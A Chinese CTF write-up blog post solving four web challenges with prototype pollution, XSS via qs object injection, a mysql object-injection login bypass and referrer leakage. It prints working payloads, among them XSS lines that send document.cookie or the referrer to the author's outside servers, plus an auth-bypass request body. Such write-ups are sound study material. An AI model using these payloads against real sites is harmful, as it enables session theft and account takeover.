Author:颖奇L’Amore

Blog:www.gem-love.com

JS大赛 我好爱 如果不和强网杯冲突就更好了


All The Little Things

I left a little secret in a note, but it’s private, private is safe.

Note: TJMike🎤 from Pasteurize is also logged into the page.

题目是个note,另外还加了一些用户自己的profile,以及可以切换主题light和dark

settings:

还有CSP:

在HTML源码中注意到有一个注释,开启后则多出来一个debug的div

然后因为这是个JS题,来一个一个看下JS文件。

static/scripts/utils.js

// make sure that variable is undefined
function is_undefined(x) {
    return typeof x === "undefined" && x == undefined
}

window.addEventListener('DOMContentLoaded', ()=>{
    fetch('/me').then(e => e.json()).then(make_user_object);
})

fetch这个/me的路由可以得到个人信息,像这样:

{"username":"Y1ng","img":"/static/images/anonymous.png","theme":{"cb":"set_light_theme","options":{},"choice":1}}

注意到then(make_user_object),那么我们跟进/static/scripts/user.js:

class User {
    #username; #theme; #img
    constructor(username, img, theme) {
        this.#username = username
        this.#theme = theme
        this.#img = img
    }
    get username() {
        return this.#username
    }

    get img() {
        return this.#img
    }

    get theme() {
        return this.#theme
    }

    toString() {
        return `user_${this.#username}`
    }
}

function make_user_object(obj) {

    const user = new User(obj.username, obj.img, obj.theme);
    window.load_debug?.(user);

    // make sure to not override anything
    if (!is_undefined(document[user.toString()])) {
        return false;
    }
    document.getElementById('profile-picture').src=user.img;
    window.USERNAME = user.toString();
    document[window.USERNAME] = user;
    update_theme();
}

首先他有一个User类,可以看到这个类下全部都是私有属性并且是没有set的,另外toString()会返回username。之后就是make_user_object函数,如果设置了debug就会调用load_debug,后面还会update_theme()。我们先跟进这个update_theme()看下:

function set_dark_theme(obj) {
    const theme_url = "/static/styles/bootstrap_dark.css";
    document.querySelector('#bootstrap-link').href = theme_url;
    localStorage['theme'] = theme_url;
}

function set_light_theme(obj) {
    theme_url = "/static/styles/bootstrap.css";
    document.querySelector('#bootstrap-link').href = theme_url;
    localStorage['theme'] = theme_url;
}

function update_theme() {
    const theme = document[USERNAME].theme;
    const s = document.createElement('script');
    s.src = `/theme?cb=${theme.cb}`;
    document.head.appendChild(s);
}

document.querySelector('#bootstrap-link').href = localStorage['theme'];

这个update_theme()实际上就是<script src=`/theme?cb=${theme.cb}`>,测试发现想要设置dark主题调用set_dark_theme()那么实际上就是一个script标签引用到/theme?cb=set_dark_theme上去,那么这里很明显cb参数后面加了什么就会call什么函数:

现在回头去看load_debug(),在static/scripts/debug.js下:

// Extend user object
function load_debug(user) {
    let debug;
    try {
        debug = JSON.parse(window.name);
    } catch (e) {
        return;
    }

    if (debug instanceof Object) {
        Object.assign(user, debug);
    }

    if(user.verbose){
        console.log(user);
    }

    if(user.showAll){
        document.querySelectorAll('*').forEach(e=>e.classList.add('display-block'));
    }

    if(user.keepDebug){
        document.querySelectorAll('a').forEach(e=>e.href=append_debug(e.href));
    }else{
        document.querySelectorAll('a').forEach(e=>e.href=remove_debug(e.href));
    }

    window.onerror = e =>alert(e);
}

function append_debug(u){
    const url = new URL(u);
    url.searchParams.append('__debug__', 1);
    return url.href;
}

function remove_debug(u){
    const url = new URL(u);
    url.searchParams.delete('__debug__');
    return url.href;
}

有一个非常非常显眼的东西:Object.assign(user, debug),而debug就是window.name的json。Object.assign()lodashmerge()基本一样(区别在于一个是浅拷贝一个是深拷贝),经典的原型链污染,所以我们只要控制了window.name就能污染user对象了。

theme.cb是会被call的函数,而刚刚说了,User类下全是私有属性并且没有setter,那么我们不能直接控制theme.cb

但是通过assign()污染__proto__之后就可以绕过这个限制了:

可以看到现在取出来user对象的theme已经是{cb: "alert"}了,通过原型链污染我们控制了调用的函数。

然而本题目还有CSP,很多js是不能执行的。想要绕过这个CSP可以选择使用iframe,在iframe下利用scrip src调用theme?cb=来callback,这是完全可行的,并且iframe里也可以获取到主窗口下的内容,很多CSRF题目都是这个做题套路,类似这样:

{
   "__proto__":{},
   "theme":{
      "cb":"document.body.innerHTML=window.name.toString"
   },
   "htmlGoesHere": "<iframe srcdoc='<script src=/theme?cb=window.top.document.body.innerHTML=window.top.location.search.toString></script>'>"
}

那么做到现在,我们甚至都还不知道这题要得到什么,注意到题目描述说用Pasteurize的xss bot,那么我们可以用那个题的xss方法来进行xss(请看后文)。可是,需要xss打什么?打cookie吗?cookie是HTTP-Only的也没法用

实际上,我们需要得到管理员账户一个私有的note,我们可以构造xss去得到那个bot的note页面并leak到我们的服务器上。至于如何设置我们自己的服务器地址可以先创建标签然后用innerText取出来

{
   "__proto__":{},
   "theme":{
      "cb":"document.body.firstElementChild.innerHTML=window.name.toString"
   },
   "payload":[
      "<form id='concat'>https://your_server/?<div></div></form>",
      "<iframe srcdoc='<script src=/theme?cb=window.top.concat.firstElementChild.innerText=window.top.document.body.innerText.toString></script>'></iframe>",
      "<iframe srcdoc='<script src=/theme?cb=window.top.location.href=window.top.concat.innerText.toString></script>'></iframe>"
   ]
}

转base64然后eval()来执行,用pasteurize的方法让bot执行,这里有个小trick,通过判断UA来控制window.location,我当时做pasteurize时候没有想到。另外不要忘了urlencode,因为+会被解析成空格

控制台调一下,此时已经执行成功了:

不过samurai这个通过UA判断是否跳转的套路我没成功,最后还是直接用了location.href跳转,于是我们得到了管理员的note的地址

下一步只要去得到note下有什么就好了,直接修改跳转的地址为这个note的地址其他都不需要改

location.href=`https://littlethings.web.ctfcompetition.com/note/22f23db6-a432-408b-a3e9-40fe258d500f?__debug__

得到flag:

这个题目还是很有难度的,自己没有做出来,赛后看了三份Writeup,最后选择了Samurai的方法。tyage的方法也很好,Exp here


pasteurize

This doesn’t look secure. I wouldn’t put even the littlest secret in here. My source tells me that third parties might have implanted it with their little treats already. Can you prove me right?

在/source得到源码:

const express = require('express');
const bodyParser = require('body-parser');
const utils = require('./utils');
const Recaptcha = require('express-recaptcha').RecaptchaV3;
const uuidv4 = require('uuid').v4;
const Datastore = require('@google-cloud/datastore').Datastore;

/* Just reCAPTCHA stuff. */
const CAPTCHA_SITE_KEY = process.env.CAPTCHA_SITE_KEY || 'site-key';
const CAPTCHA_SECRET_KEY = process.env.CAPTCHA_SECRET_KEY || 'secret-key';
console.log("Captcha(%s, %s)", CAPTCHA_SECRET_KEY, CAPTCHA_SITE_KEY);
const recaptcha = new Recaptcha(CAPTCHA_SITE_KEY, CAPTCHA_SECRET_KEY, {
  'hl': 'en',
  callback: 'captcha_cb'
});

/* Choo Choo! */
const app = express();
app.set('view engine', 'ejs');
app.set('strict routing', true);
app.use(utils.domains_mw);
app.use('/static', express.static('static', {
  etag: true,
  maxAge: 300 * 1000,
}));

/* They say reCAPTCHA needs those. But does it? */
app.use(bodyParser.urlencoded({
  extended: true
}));

/* Just a datastore. I would be surprised if it's fragile. */
class Database {
  constructor() {
    this._db = new Datastore({
      namespace: 'littlethings'
    });
  }
  add_note(note_id, content) {
    const note = {
      note_id: note_id,
      owner: 'guest',
      content: content,
      public: 1,
      created: Date.now()
    }
    return this._db.save({
      key: this._db.key(['Note', note_id]),
      data: note,
      excludeFromIndexes: ['content']
    });
  }
  async get_note(note_id) {
    const key = this._db.key(['Note', note_id]);
    let note;
    try {
      note = await this._db.get(key);
    } catch (e) {
      console.error(e);
      return null;
    }
    if (!note || note.length < 1) {
      return null;
    }
    note = note[0];
    if (note === undefined || note.public !== 1) {
      return null;
    }
    return note;
  }
}

const DB = new Database();

/* Who wants a slice? */
const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)
  .replace(/</g, '\\x3C').replace(/>/g, '\\x3E');

/* o/ */
app.get('/', (req, res) => {
  res.render('index');
});

/* \o/ [x] */
app.post('/', async (req, res) => {
  const note = req.body.content;
  if (!note) {
    return res.status(500).send("Nothing to add");
  }
  if (note.length > 2000) {
    res.status(500);
    return res.send("The note is too big");
  }

  const note_id = uuidv4();
  try {
    const result = await DB.add_note(note_id, note);
    if (!result) {
      res.status(500);
      console.error(result);
      return res.send("Something went wrong...");
    }
  } catch (err) {
    res.status(500);
    console.error(err);
    return res.send("Something went wrong...");
  }
  await utils.sleep(500);
  return res.redirect(`/${note_id}`);
});

/* Make sure to properly escape the note! */
app.get('/:id([a-f0-9\-]{36})', recaptcha.middleware.render, utils.cache_mw, async (req, res) => {
  const note_id = req.params.id;
  const note = await DB.get_note(note_id);

  if (note == null) {
    return res.status(404).send("Paste not found or access has been denied.");
  }

  const unsafe_content = note.content;
  const safe_content = escape_string(unsafe_content);

  res.render('note_public', {
    content: safe_content,
    id: note_id,
    captcha: res.recaptcha
  });
});

/* Share your pastes with TJMike🎤 */
app.post('/report/:id([a-f0-9\-]{36})', recaptcha.middleware.verify, (req, res) => {
  const id = req.params.id;

  /* No robots please! */
  if (req.recaptcha.error) {
    console.error(req.recaptcha.error);
    return res.redirect(`/${id}?msg=Something+wrong+with+Captcha+:(`);
  }

  /* Make TJMike visit the paste */
  utils.visit(id, req);

  res.redirect(`/${id}?msg=TJMike🎤+will+appreciate+your+paste+shortly.`);
});

/* This is my source I was telling you about! */
app.get('/source', (req, res) => {
  res.set("Content-type", "text/plain; charset=utf-8");
  res.sendFile(__filename);
});

/* Let it begin! */
const PORT = process.env.PORT || 8080;

app.listen(PORT, () => {
  console.log(`App listening on port ${PORT}`);
  console.log('Press Ctrl+C to quit.');
});

module.exports = app;

代码比较简单就不多说了。主要是个pasteboard,然后有一些过滤,可以把输入的内容给管理员看,典型的xss题目。

首先来看下escape_string函数:

const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)
  .replace(/</g, '\\x3C').replace(/>/g, '\\x3E');

这里主要是JSON转字符串之后剥去了收尾各一个字符,之后再进行一个字符替换。

然后会把经过escape_string()处理的字符串渲染进模板,我们随便提交点东西看看模板里有什么:

这里可以看到,const note就是我们渲染进去的内容,然后经过了DOMPurify.sanitize()处理再显示出来,DOMPurify.sanitize()会剥去标签的事件等可以触发XSS的东西

查资料发现曾经的版本可以用突变XSS(mXSS)来绕过DOMPurify,然而已经在后续的版本更新了,本题使用的Purify.js是新版本,不存在这个bypass漏洞。

另外我们输入的东西会被显示在<div></div>里,因为后端的esacpe_string()又过滤了<>就更不能xss了

如果DOMPurify不存在漏洞,那就只能去bypass后端escape_string()了。

自己再本地调了一下,发现这个JSON.stringify()很多余,既然note是个字符串,为啥要转成JSON,于是我想尝试提交一个对象,可惜服务端没有支持application/json,不过可以注意到题目使用了qs模块:

app.use(bodyParser.urlencoded({
  extended: true
}));

没用过qs.parse()也没关系,npm查一下就知道了,qs.parse()允许我们通过URLENCODED实现JSON一样的功能,即提交嵌套对象。

assert.deepEqual(qs.parse('foo[bar]=baz'), {
    foo: {
        bar: 'baz'
    }
});

继续本地测试:

正常情况下提交content就是什么就输出什么,因为slice(1,-1)脱去了分号;如果是利用qs.parse()提交对象就不一样了,此时经过JSON.stringify()得到的字符串再slice(1,-1)切片脱去的就不再是引号而是两侧的大括号了,因为此时的content不再是字符串而是对象

这实际上非常有用,它被渲染进了模板,然后DOMPurify对它不会做任何处理,所以是直接输出的。我们可以清楚看到,因为DOMPurify对其没有任何操作,它会被原封不动输出,而引号没有被转义就可以用来构造闭合进而进行JS注入

进行如下Post提交:

content[;alert(1)//]=Y1ng_test

得到:

const note = "";alert(1)//":"Y1ng_test"";

弹窗成功:

这就简单了,只要在这里构造xss payload就可以了。在属性名上构造比较不方便,继续构造一个闭合然后把主要payload写在等号的右边

content[;Y1ng=]=;window.location=`http://y1ng.vip:12358/?q=${document.cookie}`;//

效果为:

const note = "";Y1ng=":";window.location=`http://y1ng.vip:12358/?q=${document.cookie}`;//"";

window.open()的话bot好像解析不了,然后换了window.location,但是问题在于自己的网页也会重定向,必须要快一点把重定向取消然后点击那个提交,服务器上收到flag:

当然除了window.location这种拼手速的payload,还有其他很多方法带出flag,只要学过js就肯定有办法,比如:

content[;Y1ng=]=;var img = document.createElement('img');img.src = `http://gem-love.com:12345/?q=${document.cookie}`;document.body.appendChild(img);//


LOG-ME-IN

Log in to get the flag

https://log-me-in.web.ctfcompetition.com/

给了node源码,重点在login路由:

app.post('/login', (req, res) => {
  const u = req.body['username'];
  const p = req.body['password'];

  const con = DBCon(); // mysql.createConnection(...).connect()

  const sql = 'Select * from users where username = ? and password = ?';
  con.query(sql, [u, p], function(err, qResult) {
    if(err) {
      res.render('login', {error: `Unknown error: ${err}`});
    } else if(qResult.length) {
      const username = qResult[0]['username'];
      let flag;
      if(username.toLowerCase() == targetUser) {
        flag = flagValue
      } else{
        flag = "<span class=text-danger>Only Michelle's account has the flag</span>";
      }
      req.session.username = username
      req.session.flag = flag
      res.redirect('/me');
    } else {
      res.render('login', {error: "Invalid username or password"})
    }
  });
});

需要登录为const targetUser = "michelle",然而并不知道它的密码,而且这里也不能注入,所以我们要想办法构造一个万能密码。

注意到和上一题一样,也是使用qs.query()处理传参:

app.use(bodyParser.urlencoded({
  extended: true
}))

那么我们可以故技重施,提交一个对象,来看看如果mysql.query()传参为对象会变成什么。根据官方文档

Objects are turned into key = 'val' pairs for each enumerable property on the object. If the property's value is a function, it is skipped; if the property's value is an object, toString() is called on it and the returned value is used.

我们可以自己本地试一下:

注意到他是直接转化为`key` = val的形式了,而mysql中反引号内为column name,只需要让其为`password`,这样password = `password` = 1就可以返回True了,进而登陆成功

提交:

username=michelle&password[password]=1


TECH SUPPORT

Try chatting with tech support about getting a flag. Note: We have received multiple reports of exploits not working remotely, but we triple checked and concluded that the bot is working properly.

在chat下,我尝试了alert()没生效,尝试XMLHttpRequest去访问我的vps也没生效,但是直接引用是可以访问得到的

然而注意到这个chat是一个iframe,并且域名不一样,这意味着有CORS问题,直接去fetch flag肯定是不行了。

xss题有个套路,如果是需要打bot的cookie的,那么bot一般会去请求一个api来获取到cookie再去访问用户提交的url,很多人都这么出题,而我们可以通过document.referrer打到那个秘密接口,xss打到:

https://typeselfsub.web.ctfcompetition.com/asofdiyboxzdfasdfyryryryccc?username=mike&password=j9as7ya7a3636ncvx&reason=%3Cimg%20src%3DX%20onerror%3Deval(atob(%22d2luZG93LmxvY2F0aW9uLmhyZWY9Imh0dHBzOi8vZW5hcHF1eGE4M2FvNy54LnBpcGVkcmVhbS5uZXQvP3E9IitidG9hKGRvY3VtZW50LnJlZmVycmVyKTs%3D%22))%3E

这就是它用来登录管理员并获取管理员cookie的接口,我们也访问就可以称为管理员了,然后/flag拿flag。不过这种解法一般都是非预期。看了下ctftime,预期解比较复杂,是CSRF,和ByteBanditsCTF 2020的note有点像。

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2593.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

分类: CTF

颖奇L'Amore

Most of the time is also called Y1ng. Cisco Certified Internetwork Expert - Routing and Switching. CTF player for team r3kapig. Forcus on Web Security. Islamic Scholar. Be good at sleeping and fishing in troubled waters.

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注

在此处输入验证码 : *

Reload Image